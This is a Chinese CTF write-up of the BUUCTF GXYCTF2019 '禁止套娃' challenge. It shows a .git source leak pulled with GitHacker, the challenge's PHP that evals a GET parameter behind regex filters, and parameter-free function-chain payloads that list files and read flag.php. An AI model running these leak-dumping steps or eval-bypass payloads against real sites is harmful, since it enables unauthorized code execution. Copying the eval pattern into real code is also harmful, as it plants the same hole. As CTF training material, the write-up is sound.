BUUCTF [GXYCTF2019] 禁止套娃
考点:
- git源码泄露
(?R)
表示引用当前表达式array_reverse()
函数将数组倒序next()
函数指向下一个索引localeconv()
函数返回一包含本地数字及货币格式信息的数组,包含小数点字符
,可作为当前路径使用
启动环境:
打开题目后只有一句话,对题目继续进行信息收集,尝试扫描后台:
其可能存在Git泄露,使用GitHack下载其源码:
python2 GitHacker.py http://xxx.com/.git/
下载的文件以URL为命名的文件夹中:
查看其index.php
页面源码:
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
源码分析:
- 需要通过GET方式传入参数
exp
- 第一层
preg_match()
函数限制了php伪协议 - 第二层
preg_replace()
正则表达式匹配,(?R)
表示引用当前表达式 - 第三层
preg_match()
限制了一些关键字 @eval($_GET['exp']);
可以进行命令执行
首先测试符合正则表达式的结构:
<?php
$exp = 'a(b());';
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $exp)) {
echo "success";
}
?>
在当形式为a(b());
时,满足第二层的要求
虽然其不能使用php伪协议,但是@eval($_GET['exp']);
可以进行命令执行,所以使用scandir()
函数列出当前目录中的文件和目录:
第二层正则表达式无法给directory
参数赋值,所以查找能够返回为'.'
结果的函数,其中localeconv()
函数返回一包含本地数字及货币格式信息的数组,包含小数点字符
。
但返回的结果为数组类型,使用current()
函数返回数组中的当前元素的值,进行测试:
<?php
echo current(localeconv());
?>
可以成功回显出.
构造payload:
?exp=print_r(scandir(current(localeconv())));
得到了当前目录中的内容,为了查看flag.php
页面的源码,需要使数组的索引为3
,在线测试:
<?php
$tmp = array(".", "..", ".git", "flag.php", "index.php");
echo next($tmp);
?>
next()
函数不能嵌套使用,查阅资料,可以使用array_reverse()
函数将数组倒序,然后使用next()
函数指向1
号索引,也就是flag.php
:
<?php
$tmp = array(".", "..", ".git", "flag.php", "index.php");
echo next(array_reverse($tmp));
?>
最后根据源码中提示给出的highlight_file(__FILE__);
函数,读取flag.php
页面的源码,构造payload:
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
得到flag